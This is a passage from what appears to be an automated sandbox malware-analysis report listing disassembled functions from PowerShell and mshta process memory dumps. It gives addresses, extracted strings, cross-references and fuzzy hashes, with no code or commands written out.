Opcode Fuzzy Hash: b34dc7734b771546a594e93e43cb567eeb7fcba999ce57aa038a9695d6227ec7
Instruction Fuzzy Hash: BBE0863570872457DB0937B9A51C2AF7A56EBC4729F04002ED60A87381CF79691287E9

Function 04E29620 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2537617959.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 500fa657fc80a3b021fe2bb4034097181e4ecc327b5e57295b1a4370eeec050f
Instruction ID: 79f482e7bd7838f3c2438eb4c7a39b49f709a63e65627418f2dd5b28beba680d
Opcode Fuzzy Hash: 500fa657fc80a3b021fe2bb4034097181e4ecc327b5e57295b1a4370eeec050f
Instruction Fuzzy Hash: BBD05E3270023107A6A476EE2A0177BA1CE9BC44A9B0572369A08C3242ED40FC0243F5

Function 04E2B059 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2537617959.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b6e598d4a861837a3bf192faceb049c6919023ecb1f0004bd9da6134149a8bb
Instruction ID: fe814aff127dac7b861086b301cc746f47eff0e58f8562ae448d93998fd466fc
Opcode Fuzzy Hash: 0b6e598d4a861837a3bf192faceb049c6919023ecb1f0004bd9da6134149a8bb
Instruction Fuzzy Hash: 72E0C22570C5F00AC71AC23E6420AAE2FE78FC652571880BEE18DCB602DC428907878A

Function 04E2DFF0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2537617959.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction ID: 8a4ee28ff8604ab2f084a6bb0091c880bebff0784a1eec904ed47922384300a4
Opcode Fuzzy Hash: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction Fuzzy Hash: BCE08631B0002497CB08969DD4144E9F7B5DBCC220F04847AD90AA7340EA72691686A1

Function 04E2DFA0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2537617959.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fa1e6e3adc04ddb055c2c8eec7697b56709fa099fd588e32e9de5a56f02ed00
Instruction ID: 68c71506be235fabce3c1f05099489b8f11829bd15eef6290fadde23aa8d987d
Opcode Fuzzy Hash: 7fa1e6e3adc04ddb055c2c8eec7697b56709fa099fd588e32e9de5a56f02ed00
Instruction Fuzzy Hash: F1E0C2317406241BC2166A6EAA1089FBBDAEFC8675310442EE12AC7340DE64ED0547F9

Function 04E288C0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2537617959.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8baee08c3afa388f461620795ddeef337f425441e50e58f479de85201c248115
Instruction ID: 4c8073ac6aa58175f86c6fa979dbf6c898038550a7ac2c677c43a89dad651d53
Opcode Fuzzy Hash: 8baee08c3afa388f461620795ddeef337f425441e50e58f479de85201c248115
Instruction Fuzzy Hash: CEE09B39A4C29A4FC706EBBCD84545E7FB0DF06210B0001ADD949DB393D6615402CBC1

Function 04E2F6E1 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2537617959.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9737a0592f3895599b11bd8d70a54ed583c8c6c457b648b639ca49b6b02374ca
Instruction ID: 8e34dd4ad53c42566f95e6ff972be6f5f4b7af363d5957100ea54e2705dc4138
Opcode Fuzzy Hash: 9737a0592f3895599b11bd8d70a54ed583c8c6c457b648b639ca49b6b02374ca
Instruction Fuzzy Hash: 25E01A78D09249AFC780DFB9D9415A9FFF4AF49210F5081EA8909D7602E6719A029BD2

Function 04E287F9 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2537617959.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5800630cb7666efd93149384d4bb5efb0f22373bd62a6dd1f01f350444b15a1d
Instruction ID: a073edbace718e7393333381db3515b119daccf54f790f54c9cae864494117ed
Opcode Fuzzy Hash: 5800630cb7666efd93149384d4bb5efb0f22373bd62a6dd1f01f350444b15a1d
Instruction Fuzzy Hash: 00E09235A0C2D68FCB0EFBA8D4494ADBF30EE01202B4400DCD55A57492DA201546CBC1

Function 04E2F6F0 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2537617959.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction ID: 93bb2f5455f810d3330ae0d8697698703d329d759067e2d72b9d67493dc692ef
Opcode Fuzzy Hash: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction Fuzzy Hash: D7D067B4D042199FC780EFADC9415AEFBF4EF48200F6085AA8919E7301F7329A129BD1

Function 04E288D0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2537617959.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f08ac41e34ac1aa3eadbca6cee3098e82a0ea456f741c4b24570be314c3b107
Instruction ID: 44c212a50f5c9dc2503d9c61b3826d3e287f0d8617cefdc9c9d7d070459a49ef
Opcode Fuzzy Hash: 4f08ac41e34ac1aa3eadbca6cee3098e82a0ea456f741c4b24570be314c3b107
Instruction Fuzzy Hash: 06D01734A0820E8BCB08FFA8E84686EBBB5EB44200F00416ADE0A93340EA316801CBD1

Function 04E28808 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2537617959.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d78573dee52e99ed66637c4c4c240ed9012f70361a703ac9705c40ed54ea8755
Instruction ID: cf657cc6519c5ca3b1455fd942c46f0230f2c962b8d9825032e5ee052911347a
Opcode Fuzzy Hash: d78573dee52e99ed66637c4c4c240ed9012f70361a703ac9705c40ed54ea8755
Instruction Fuzzy Hash: BAD067359082098BCB0CBBA4E85A4BDBB34FB14301F40416DD91752191EA312A5ACBC1

Function 04E279F0 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2537617959.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cab302104deeede6ccf11dc517e59c0b727678f1bc66c4f3f0e451e1b55a42a3
Instruction ID: 0d546d83fabc690dbfb0500531803ff17c2e110548f1fa9d85b53649ffea8e12
Opcode Fuzzy Hash: cab302104deeede6ccf11dc517e59c0b727678f1bc66c4f3f0e451e1b55a42a3
Instruction Fuzzy Hash: 2ED0227900A3804FCB079B34C080A043F256F40220B0201EED84E0BB93C936C44DCF00

Function 04E27F60 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2537617959.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02d8a2a4b2e45bee22f24421dbeb667706d29a596f070465394199fc20b26ea2
Instruction ID: 8a4d495f9e7126ca2a36395036fc6699b847734e002b652b10bcfe45ccc3e0e4
Opcode Fuzzy Hash: 02d8a2a4b2e45bee22f24421dbeb667706d29a596f070465394199fc20b26ea2
Instruction Fuzzy Hash: 05B0228E80002283FF02823088CC3022FE20BC2A2AF0A828808020B080CC38C802C200

Function 04E27A00 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2537617959.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aeea3820cc4efe6d4450b4c0663da0ef0371e93695904402f984aaa37af2d147
Instruction ID: a70a9a877d77b5a5663e32aa749192bb7043340b9e3d2cdcef856eec2332446c
Opcode Fuzzy Hash: aeea3820cc4efe6d4450b4c0663da0ef0371e93695904402f984aaa37af2d147
Instruction Fuzzy Hash: B9B092310447098FC2496F79E4088147329BB4021938009A9E90E0A7928E36E889CA45

Non-executed Functions

Function 07D41D10 Relevance: 20.4, Strings: 16, Instructions: 404COMMON

Download Yara Rule

Strings

84Bj, xrefs: 07D420A6
JEj, xrefs: 07D420D1
rDj, xrefs: 07D41D83
4'^q, xrefs: 07D41DB6
JEj, xrefs: 07D4213B
JEj, xrefs: 07D42147
4'^q, xrefs: 07D41DC2
JEj, xrefs: 07D421F2
JEj, xrefs: 07D421FE
$c7i, xrefs: 07D421E4
tP^q, xrefs: 07D4210F
4'^q, xrefs: 07D420C5
tP^q, xrefs: 07D4211B
84Bj, xrefs: 07D4209C
rDj, xrefs: 07D41D8D
4'^q, xrefs: 07D420B9

Memory Dump Source

Source File: 0000000E.00000002.2555958866.0000000007D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7d40000_powershell.jbxd

Similarity

API ID:
String ID: $c7i$4'^q$4'^q$4'^q$4'^q$84Bj$84Bj$tP^q$tP^q$JEj$JEj$JEj$JEj$JEj$rDj$rDj
API String ID: 0-1366519375
Opcode ID: f3f4515b6a7a2dc02c6739a895f98db870218d2849e28a344e7c2e2142d23e07
Instruction ID: a4a693ccd9c8455e6af5098493e096db35443381a693a77e3d192756663329e3
Opcode Fuzzy Hash: f3f4515b6a7a2dc02c6739a895f98db870218d2849e28a344e7c2e2142d23e07
Instruction Fuzzy Hash: DED159B1B0430A8FCB258B68D804666FBF2BFC6310F1884BBD5558B355DB32D985C7A2

Function 07D43A58 Relevance: 12.8, Strings: 10, Instructions: 328COMMON

Download Yara Rule

Strings

tP^q, xrefs: 07D43AD5
$^q, xrefs: 07D43A90
$^q, xrefs: 07D43D3E
$^q, xrefs: 07D43A9C
:j, xrefs: 07D43B3F
$^q, xrefs: 07D43A6A
4'^q, xrefs: 07D43C59
tP^q, xrefs: 07D43AE1
4'^q, xrefs: 07D43C65
:j, xrefs: 07D43B4D

Memory Dump Source

Source File: 0000000E.00000002.2555958866.0000000007D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7d40000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$tP^q$$^q$$^q$$^q$$^q$:j$:j
API String ID: 0-4225290296
Opcode ID: d95e5191175e7470e5baa91960d36c5cf2e2300fc4f0ef6ecf8e343ac4d87d09
Instruction ID: 7dfa268fbe1075c222dbed5a5c09c3d8830d75d5dd4e5bb6403ccd0faec40bce
Opcode Fuzzy Hash: d95e5191175e7470e5baa91960d36c5cf2e2300fc4f0ef6ecf8e343ac4d87d09
Instruction Fuzzy Hash: A2A144B27043559FDB259A6DD800766FFA6EFC2620F1880ABD445EF292CA32D845C3A1

Function 07D41080 Relevance: 12.7, Strings: 10, Instructions: 184COMMON

Download Yara Rule

Strings

84Bj, xrefs: 07D4119C
$^q, xrefs: 07D4131B
$^q, xrefs: 07D4112D
fcq, xrefs: 07D4116A
$^q, xrefs: 07D4110C
$^q, xrefs: 07D412F1
$^q, xrefs: 07D41149
`Q^q, xrefs: 07D4121B
`Q^q, xrefs: 07D411B5
tP^q, xrefs: 07D411EF

Memory Dump Source

Source File: 0000000E.00000002.2555958866.0000000007D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7d40000_powershell.jbxd

Similarity

API ID:
String ID: fcq$84Bj$`Q^q$`Q^q$tP^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-3915575003
Opcode ID: c511282b79207e033c732ad4c25f0214c48b868cabce1a183524463e69f9db2c
Instruction ID: d0b0b0a2d3483a0203e471475395ba2e9d6751e038bbc297e94acf3e3dfbc18d
Opcode Fuzzy Hash: c511282b79207e033c732ad4c25f0214c48b868cabce1a183524463e69f9db2c
Instruction Fuzzy Hash: 87617BB0A0020EDFDB288F44C589BAAFBF1BB45345F548156E845AB2A0C736DCC5CBA1

Function 04E2EE38 Relevance: 10.2, Strings: 8, Instructions: 181COMMON

Download Yara Rule

Strings

$^q, xrefs: 04E2EFBB
$^q, xrefs: 04E2EFA1
0oAp, xrefs: 04E2EFC7
$^q, xrefs: 04E2EF87
$^q, xrefs: 04E2EFEF
$^q, xrefs: 04E2EF30
$^q, xrefs: 04E2EFD5
,bq, xrefs: 04E2EE8D

Memory Dump Source

Source File: 0000000E.00000002.2537617959.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID: ,bq$0oAp$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-4154621813
Opcode ID: c8371deea9873b724ba65b565c6312fe3094db59aa7cbd62ecc16270d50b7849
Instruction ID: aba264dbc714f293cb06ca8476a46ee9645c7f8654546d4143383e80b78c6567
Opcode Fuzzy Hash: c8371deea9873b724ba65b565c6312fe3094db59aa7cbd62ecc16270d50b7849
Instruction Fuzzy Hash: CF5141303840788FD729AB7DDA5496C3BD7BF8975431424AAE016CF3B5EE16EC828752

Function 07D437A8 Relevance: 8.9, Strings: 7, Instructions: 186COMMON

Download Yara Rule

Strings

$^q, xrefs: 07D4392F
$^q, xrefs: 07D4395A
:j, xrefs: 07D439AB
:j, xrefs: 07D4399D
4'^q, xrefs: 07D43852
4'^q, xrefs: 07D4385E
$^q, xrefs: 07D43966

Memory Dump Source

Source File: 0000000E.00000002.2555958866.0000000007D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7d40000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q$$^q$:j$:j
API String ID: 0-570636503
Opcode ID: 0489f5a1a6421b04a7f3870d348f72cf7c398be728236b202efb88c216aff97c
Instruction ID: b5a63fd01d06a3a0c1757f5aa99dd4e5ce84343424ebcc84ead70012e52231ed
Opcode Fuzzy Hash: 0489f5a1a6421b04a7f3870d348f72cf7c398be728236b202efb88c216aff97c
Instruction Fuzzy Hash: 095159B1B043469FDB255A6DDC00766FBB6EFC2610F28806BD485EB351DE36C845C7A1

Function 04E2F110 Relevance: 6.7, Strings: 5, Instructions: 450COMMON

Download Yara Rule

Strings

$^q, xrefs: 04E2F493
0oAp, xrefs: 04E2F52C
0oAp, xrefs: 04E2F56A
$^q, xrefs: 04E2F437
0oAp, xrefs: 04E2F55E

Memory Dump Source

Source File: 0000000E.00000002.2537617959.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID: 0oAp$0oAp$0oAp$$^q$$^q
API String ID: 0-1007036685
Opcode ID: dd583610239b8411fcdf5ef2833f74469be0732025f54d0e2dd07d18891adce3
Instruction ID: 529c083ffede1fe604fface15540368a5a579a52d70e1d92e821924ac58cbf4d
Opcode Fuzzy Hash: dd583610239b8411fcdf5ef2833f74469be0732025f54d0e2dd07d18891adce3
Instruction Fuzzy Hash: 9CE1F130B401218FDB149F7C9A1462E77E7AFC9B18B2454AAD802DF3A5EE74EC4297D1

Function 04E27AE0 Relevance: 6.5, Strings: 5, Instructions: 239COMMON

Download Yara Rule

Strings

`_q, xrefs: 04E27D82
`_q, xrefs: 04E27BE3
`_q, xrefs: 04E27D04
`_q, xrefs: 04E27C62
tMDj, xrefs: 04E27B94

Memory Dump Source

Source File: 0000000E.00000002.2537617959.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID: tMDj$`_q$`_q$`_q$`_q
API String ID: 0-3087278052
Opcode ID: e28df4db64e4a6f11a4a5e84033dc6b0dafa573c63f2108bf538776018e51d41
Instruction ID: 93e001f74d3953afc4d5b90da070ecf602cf7cd8442a1be8098608bbebd47d0a
Opcode Fuzzy Hash: e28df4db64e4a6f11a4a5e84033dc6b0dafa573c63f2108bf538776018e51d41
Instruction Fuzzy Hash: 07B1B874E002199FDB54DFA9D990A9DFBF2FF48304F10862AD819AB354EB30A945CF90

Function 04E27AF0 Relevance: 6.5, Strings: 5, Instructions: 234COMMON

Download Yara Rule

Strings

`_q, xrefs: 04E27D82
`_q, xrefs: 04E27BE3
`_q, xrefs: 04E27D04
`_q, xrefs: 04E27C62
tMDj, xrefs: 04E27B94

Memory Dump Source

Source File: 0000000E.00000002.2537617959.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID: tMDj$`_q$`_q$`_q$`_q
API String ID: 0-3087278052
Opcode ID: b98f9de3b5535c8151c543714a15b3604158988e3e26000832f6036ba4eda880
Instruction ID: 956cbf02d7b413a53e2e1c3e7ba4528d235a012ba9d4b94ccc9734af1cef4187
Opcode Fuzzy Hash: b98f9de3b5535c8151c543714a15b3604158988e3e26000832f6036ba4eda880
Instruction Fuzzy Hash: F5B1B874E002199FDB54DFA9D990A9DFBF2FF48304F10962AD819AB354EB30A945CF90

Function 04E27300 Relevance: 5.2, Strings: 4, Instructions: 168COMMON

Download Yara Rule

Strings

`_q, xrefs: 04E27D82
`_q, xrefs: 04E27BE3
`_q, xrefs: 04E27D04
`_q, xrefs: 04E27C62

Memory Dump Source

Source File: 0000000E.00000002.2537617959.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID: `_q$`_q$`_q$`_q
API String ID: 0-3297199963
Opcode ID: f9f843b0eca1cd6264e03f8422bff2b0ce2b32d2b10101c5ab05b19fb1631cea
Instruction ID: 2560dafc7aa2c8cf032b16a33018ec6055e651dd04531373fbf1cc77b7815e34
Opcode Fuzzy Hash: f9f843b0eca1cd6264e03f8422bff2b0ce2b32d2b10101c5ab05b19fb1631cea
Instruction Fuzzy Hash: 6F815374E012199FDB54DFA9DA90A9DFBF1FF48304F20862AD819AB315E730A945CF90

Function 07D458A8 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$^q, xrefs: 07D458D6
$^q, xrefs: 07D45910
$^q, xrefs: 07D45904
$^q, xrefs: 07D458BA

Memory Dump Source

Source File: 0000000E.00000002.2555958866.0000000007D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7d40000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 9886acc8ff41deb9caa46abbc7b75bcc28c70c302c8fcaf06a0c2dc135b5c7bf
Instruction ID: 1d10502984bde768a85eb12362f63e34ee78dcb319c75a1b76ec9f240219b9ce
Opcode Fuzzy Hash: 9886acc8ff41deb9caa46abbc7b75bcc28c70c302c8fcaf06a0c2dc135b5c7bf
Instruction Fuzzy Hash: 002136B175431A6BEB28592AEC40B37E7EA9BC5720F28843BE546CF385DD32C855C361

Function 07D434F4 Relevance: 5.1, Strings: 4, Instructions: 83COMMON

Download Yara Rule

Strings

RDj, xrefs: 07D4355B
,SDj, xrefs: 07D4358D
_, xrefs: 07D43492
p54i, xrefs: 07D4357F

Memory Dump Source

Source File: 0000000E.00000002.2555958866.0000000007D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7d40000_powershell.jbxd

Similarity

API ID:
String ID: ,SDj$_$p54i$RDj
API String ID: 0-989244144
Opcode ID: 4954a80c938c7e0b66845425d3449f8b555e8d5c8c17b1e7f1da150b22ef6998
Instruction ID: a7c282877410610b4de23b3d8d8497dd78a65816cd715ceb5b6b2b86bed04334
Opcode Fuzzy Hash: 4954a80c938c7e0b66845425d3449f8b555e8d5c8c17b1e7f1da150b22ef6998
Instruction Fuzzy Hash: 68213DF59043069FEB10DE1CC900BAAFFE1EB95620F5981A6D45CA7292D735C981CB62

Function 07D40309 Relevance: 5.1, Strings: 4, Instructions: 51COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07D4037F
4'^q, xrefs: 07D40373
$^q, xrefs: 07D4035E
$^q, xrefs: 07D40352

Memory Dump Source

Source File: 0000000E.00000002.2555958866.0000000007D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7d40000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q
API String ID: 0-2049395529
Opcode ID: 4eab53fc1bc309c4088538f70bf9b03359dbf8b1627ed1973c47ab9f8ebbd423
Instruction ID: 2571223832e28ef7053a6d3f23b039373797411bb3f463f73649509f5d847427
Opcode Fuzzy Hash: 4eab53fc1bc309c4088538f70bf9b03359dbf8b1627ed1973c47ab9f8ebbd423
Instruction Fuzzy Hash: BD01846170A7D54FC72B16785924555AFB69F8391071A44DBC181CF29BCD154C8DC3B3

Function 07D42237 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

JEj, xrefs: 07D42286
JEj, xrefs: 07D4227A
$^q, xrefs: 07D422A2
$^q, xrefs: 07D42296

Memory Dump Source

Source File: 0000000E.00000002.2555958866.0000000007D40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7d40000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$JEj$JEj
API String ID: 0-3755646021
Opcode ID: b2926473b3bf54394a0beec625d69b593d247e276c2925f5ba972def7afdfa9d
Instruction ID: 5003b1472437f7b7c5fdac9747cd4ce3e693a85b3728c4616751b9736b7b33bf
Opcode Fuzzy Hash: b2926473b3bf54394a0beec625d69b593d247e276c2925f5ba972def7afdfa9d
Instruction Fuzzy Hash: 1F01DFB264A3C55FC72706688C10582BFB66F9361071A45E7D490CF26BC8299C99C3A3

Analysis Process: mshta.exePID: 8168, Parent PID: 7988COMMON

Executed Functions

Function 05D10FE7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000003.2528875846.0000000005D10000.00000010.00000800.00020000.00000000.sdmp, Offset: 05D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_3_5d10000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a9ce593b8061fe11d005a8fadf4466c64fb9f615bec526e67dbe7247faadaf0
Instruction ID: de6ccb8b1ce680ec410db4df3d88e5ec276d013ca6c215c65512ffc58eed4491
Opcode Fuzzy Hash: 1a9ce593b8061fe11d005a8fadf4466c64fb9f615bec526e67dbe7247faadaf0
Instruction Fuzzy Hash:

Analysis Process: powershell.exePID: 7048, Parent PID: 4588COMMON

Executed Functions

Function 07180E50 Relevance: 2.9, Strings: 2, Instructions: 383COMMON

Download Yara Rule

Strings

ek, xrefs: 07180FAA
ek, xrefs: 07180F9C

Memory Dump Source

Source File: 00000046.00000002.2737955973.0000000007180000.00000040.00000800.00020000.00000000.sdmp, Offset: 07180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7180000_powershell.jbxd

Similarity

API ID:
String ID: ek$ek
API String ID: 0-3049552177
Opcode ID: fb8b65de90132a7d8db2fd206919cff7324b35be2b6dd7b03d0955adc23d669d
Instruction ID: 3c7f1fb9864b3daf72b3d351568656784603b25ede7834479f6ad445ae727c8e
Opcode Fuzzy Hash: fb8b65de90132a7d8db2fd206919cff7324b35be2b6dd7b03d0955adc23d669d
Instruction Fuzzy Hash: 20C15BB270424D9FCB55AB78994066BFBE79FC9310F24806AE505CB392DB36CC46CB61

Function 071805D0 Relevance: 2.9, Strings: 2, Instructions: 354COMMON

Download Yara Rule

Strings

4'^q, xrefs: 0718068F
4'^q, xrefs: 07180683

Memory Dump Source

Source File: 00000046.00000002.2737955973.0000000007180000.00000040.00000800.00020000.00000000.sdmp, Offset: 07180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7180000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q
API String ID: 0-2697143702
Opcode ID: 87f57a1ffc37be518eac623d3efac41e8e853fb033c3d2c0fae0fcb44b799acf
Instruction ID: b7802be263fd8ef05d0805aed413ea9140d271eee182508ecd36357cfcfa41d2
Opcode Fuzzy Hash: 87f57a1ffc37be518eac623d3efac41e8e853fb033c3d2c0fae0fcb44b799acf
Instruction Fuzzy Hash: C0C12BB1F0421A9FCB55AF79844066ABBA6EFCA310F14846AD545CF291DB31C889CFE1

Function 07E10D04 Relevance: 2.7, Strings: 2, Instructions: 192COMMON

Download Yara Rule

Strings

(bq, xrefs: 07E1212A
(bq, xrefs: 07E12156

Memory Dump Source

Source File: 00000046.00000002.2740304800.0000000007E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 07E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7e10000_powershell.jbxd

Similarity

API ID:
String ID: (bq$(bq
API String ID: 0-4224401849
Opcode ID: 5ee59744c643f2e3697477689f5885bf3ad9f3e9923d6382eaeff9c690fe2f11
Instruction ID: 2e529430ecde28b9f0c2ec4e154f399ba20c041f84a279f889f941ed5b30a3d1
Opcode Fuzzy Hash: 5ee59744c643f2e3697477689f5885bf3ad9f3e9923d6382eaeff9c690fe2f11
Instruction Fuzzy Hash: 2E71C070A006199FCB14DFA9C85469EBBF6FF88310F108629D906BB350EB74AD85CB81

Function 071805B4 Relevance: 1.3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07180683

Memory Dump Source

Source File: 00000046.00000002.2737955973.0000000007180000.00000040.00000800.00020000.00000000.sdmp, Offset: 07180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7180000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: f3e4ccf807e02fb52d5c22cb7097e3a52bc29925a87488672c709d996dd87220
Instruction ID: 6784dcf562470ff9ed9c28936d776bc49fb8b70d69268d6e694843f64d4e6e6e
Opcode Fuzzy Hash: f3e4ccf807e02fb52d5c22cb7097e3a52bc29925a87488672c709d996dd87220
Instruction Fuzzy Hash: E82195F4B0520EDFCB95EF28C544BA6BBF1AF89364F258169D1088B591D731C988CFA1

Function 07E10CE4 Relevance: 1.3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

Strings

(bq, xrefs: 07E11247

Memory Dump Source

Source File: 00000046.00000002.2740304800.0000000007E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 07E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_70_2_7e10000_powershell.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
